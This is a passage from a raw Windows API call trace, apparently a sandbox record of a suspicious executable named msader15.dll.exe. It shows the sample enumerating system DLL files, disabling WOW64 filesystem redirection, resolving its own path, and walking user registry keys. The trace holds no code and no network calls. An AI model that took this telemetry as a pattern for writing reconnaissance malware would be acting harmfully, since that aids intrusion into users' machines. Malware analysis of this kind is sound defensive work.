lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDORES.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.488] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e74d256, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8e74d256, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x885f4510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="ddraw.dll", cAlternateFileName="")) returned 1 [0028.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x38c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAW.DLL", lpUsedDefaultChar=0x0) returned 9 [0028.489] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95b0bd0c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x95b0bd0c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x88642710, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="ddrawex.dll", cAlternateFileName="")) returned 1 [0028.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAWEX.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.489] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ba2bbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1ba2bbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1bc8d1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35e00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="defaultlocationcpl.dll", cAlternateFileName="")) returned 1 [0028.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0028.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x38c288, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEFAULTLOCATIONCPL.DLL", lpUsedDefaultChar=0x0) returned 22 [0028.489] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1326ca, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4e1326ca, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x887257e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="deskadp.dll", cAlternateFileName="")) returned 1 [0028.522] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x18fdb0 | out: BaseAddress=0x18fdb0*=0x75670000) returned 0x0 [0030.333] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0030.333] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0030.333] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.333] FindClose (in: hFindFile=0x8b27a8 | out: hFindFile=0x8b27a8) returned 1 [0030.334] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e268) returned 1 [0030.335] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\msader15.dll.exe\" ", pNumArgs=0x18fddc | out: pNumArgs=0x18fddc) returned 0x89f778*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\msader15.dll.exe" [0030.335] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x10) returned 0x38d5e8 [0030.335] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d288 [0030.335] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e268 [0030.335] LocalFree (hMem=0x89f778) returned 0x0 [0030.335] Wow64DisableWow64FsRedirection (in: OldValue=0x18fdd8 | out: OldValue=0x18fdd8*=0x0) returned 1 [0030.335] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x800) returned 0x1d97cf8 [0030.335] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1d97cf8, nSize=0x200 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\msader15.dll.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\msader15.dll.exe")) returned 0x36 [0030.335] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x800) returned 0x1d98500 [0030.335] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1d98500, nSize=0x200 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\msader15.dll.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\msader15.dll.exe")) returned 0x36 [0030.335] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.335] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0030.335] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.335] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0030.335] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x800) returned 0x1d98d08 [0030.335] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\msader15.dll.exe", lpszShortPath=0x1d98d08, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\Desktop\\MSADER~1.EXE") returned 0x26 [0030.336] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x800) returned 0x1d99510 [0030.336] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0030.336] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0030.336] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x280) returned 0x1d99d18 [0030.337] SHRegDuplicateHKey (hkey=0x80000001) returned 0x80000001 [0030.337] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x0, lpName=0x1d99d18, cchName=0x104 | out: lpName="AppEvents") returned 0x0 [0030.337] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appevents", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0030.337] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appevents", cchWideChar=9, lpMultiByteStr=0x38c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appevents", lpUsedDefaultChar=0x0) returned 9 [0030.337] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.337] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.337] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.337] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.337] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x1, lpName=0x1d99d18, cchName=0x104 | out: lpName="Console") returned 0x0 [0030.337] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="console", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0030.337] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="console", cchWideChar=7, lpMultiByteStr=0x38c240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="console", lpUsedDefaultChar=0x0) returned 7 [0030.337] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.338] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.338] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.338] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.338] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x2, lpName=0x1d99d18, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0030.338] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0030.338] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x38c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0030.338] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.338] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.338] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.338] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.338] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x3, lpName=0x1d99d18, cchName=0x104 | out: lpName="Environment") returned 0x0 [0030.338] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="environment", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0030.338] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="environment", cchWideChar=11, lpMultiByteStr=0x38c240, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="environment", lpUsedDefaultChar=0x0) returned 11 [0030.338] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.338] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.338] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.338] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.338] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x4, lpName=0x1d99d18, cchName=0x104 | out: lpName="EUDC") returned 0x0 [0030.338] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eudc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0030.338] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eudc", cchWideChar=4, lpMultiByteStr=0x38c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eudc", lpUsedDefaultChar=0x0) returned 4 [0030.338] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.338] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.338] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.338] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.338] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x5, lpName=0x1d99d18, cchName=0x104 | out: lpName="Identities") returned 0x0 [0030.338] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identities", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0030.339] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identities", cchWideChar=10, lpMultiByteStr=0x38c240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identities", lpUsedDefaultChar=0x0) returned 10 [0030.339] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.339] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.339] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.339] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.339] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x6, lpName=0x1d99d18, cchName=0x104 | out: lpName="Keyboard Layout") returned 0x0 [0030.339] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard layout", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0030.339] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard layout", cchWideChar=15, lpMultiByteStr=0x38c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyboard layout", lpUsedDefaultChar=0x0) returned 15 [0030.339] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.339] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.339] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.339] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.339] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x7, lpName=0x1d99d18, cchName=0x104 | out: lpName="Network") returned 0x0 [0030.339] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0030.339] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x38c240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0030.339] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.339] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.339] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.339] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.339] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x8, lpName=0x1d99d18, cchName=0x104 | out: lpName="Printers") returned 0x0 [0030.339] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="printers", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0030.339] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="printers", cchWideChar=8, lpMultiByteStr=0x38c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="printers", lpUsedDefaultChar=0x0) returned 8 [0030.339] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.339] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.339] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.340] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.340] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x9, lpName=0x1d99d18, cchName=0x104 | out: lpName="Software") returned 0x0 [0030.340] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0030.340] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x38c240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0030.340] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.340] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.340] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.340] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.340] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x104) returned 0x0 [0030.340] RegCloseKey (hKey=0x80000001) returned 0x0 [0030.340] RegEnumKeyW (in: hKey=0x104, dwIndex=0x0, lpName=0x1d99d18, cchName=0x104 | out: lpName="Adobe") returned 0x0 [0030.340] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobe", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0030.340] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobe", cchWideChar=5, lpMultiByteStr=0x38c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobe", lpUsedDefaultChar=0x0) returned 5 [0030.340] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.340] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.340] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.340] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.340] RegEnumKeyW (in: hKey=0x104, dwIndex=0x1, lpName=0x1d99d18, cchName=0x104 | out: lpName="AppDataLow") returned 0x0 [0030.340] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appdatalow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0030.340] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appdatalow", cchWideChar=10, lpMultiByteStr=0x38c240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appdatalow", lpUsedDefaultChar=0x0) returned 10 [0030.341] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.341] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.341] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.341] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.341] RegEnumKeyW (in: hKey=0x104, dwIndex=0x2, lpName=0x1d99d18, cchName=0x104 | out: lpName="Clients") returned 0x0 [0030.341] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0030.341] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x38c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0030.341] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.341] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.341] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.341] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.341] RegEnumKeyW (in: hKey=0x104, dwIndex=0x3, lpName=0x1d99d18, cchName=0x104 | out: lpName="Google") returned 0x0 [0030.341] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="google", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0030.341] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="google", cchWideChar=6, lpMultiByteStr=0x38c240, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="google", lpUsedDefaultChar=0x0) returned 6 [0030.341] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.341] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.341] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.341] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.341] RegEnumKeyW (in: hKey=0x104, dwIndex=0x4, lpName=0x1d99d18, cchName=0x104 | out: lpName="JavaSoft") returned 0x0 [0030.341] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="javasoft", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0030.341] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="javasoft", cchWideChar=8, lpMultiByteStr=0x38c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="javasoft", lpUsedDefaultChar=0x0) returned 8 [0030.341] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.341] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.341] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.341] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.342] RegEnumKeyW (in: hKey=0x104, dwIndex=0x5, lpName=0x1d99d18, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0030.342] RtlAllocateHeap (HeapHandle=0x380000, 